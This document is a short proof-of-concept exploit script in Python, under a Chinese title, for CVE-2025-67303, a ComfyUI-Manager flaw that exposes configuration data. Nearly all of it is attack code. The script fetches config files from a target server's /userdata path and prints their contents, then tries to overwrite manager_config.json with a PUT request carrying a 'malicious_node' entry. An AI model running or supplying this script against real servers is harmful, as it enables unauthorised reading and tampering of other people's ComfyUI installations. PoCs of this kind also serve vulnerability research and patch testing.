CVE-2025-67303 ComfyUI-Manager 路径遍历导致配置数据泄露

# CVE-2025-67303 PoC - ComfyUI-Manager Path Traversal # Target: ComfyUI-Manager < v3.38 # This PoC demonstrates accessing config files via web interface import requests import sys TARGET_URL = "http://target-server:8181" COMFYUI_MANAGER_PATH = "/userdata" # Insecure storage path def check_vulnerability(): """Check if target is vulnerable to CVE-2025-67303""" # Try to access the manager's config directory paths_to_check = [ f"{COMFYUI_MANAGER_PATH}/config.json", f"{COMFYUI_MANAGER_PATH}/manager_config.json", f"{COMFYUI_MANAGER_PATH}/custom-node-list.json" ] vulnerable = False for path in paths_to_check: try: response = requests.get(f"{TARGET_URL}{path}", timeout=10) if response.status_code == 200: print(f"[+] Found accessible file: {path}") print(f"[+] Content preview: {response.text[:200]}...") vulnerable = True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {path}: {e}") return vulnerable def exploit_config_manipulation(): """Attempt to modify configuration via PUT request""" malicious_config = '{"custom_nodes": ["malicious_node"], "enabled": true}' try: response = requests.put( f"{TARGET_URL}{COMFYUI_MANAGER_PATH}/manager_config.json", data=malicious_config, headers={"Content-Type": "application/json"}, timeout=10 ) if response.status_code in [200, 201, 204]: print("[+] Successfully modified configuration!") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": print("CVE-2025-67303 PoC - ComfyUI-Manager < v3.38") print("=" * 50) if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2025-67303") print("[*] Attempting config manipulation...") exploit_config_manipulation() else: print("\n[-] Target appears to be patched or not accessible")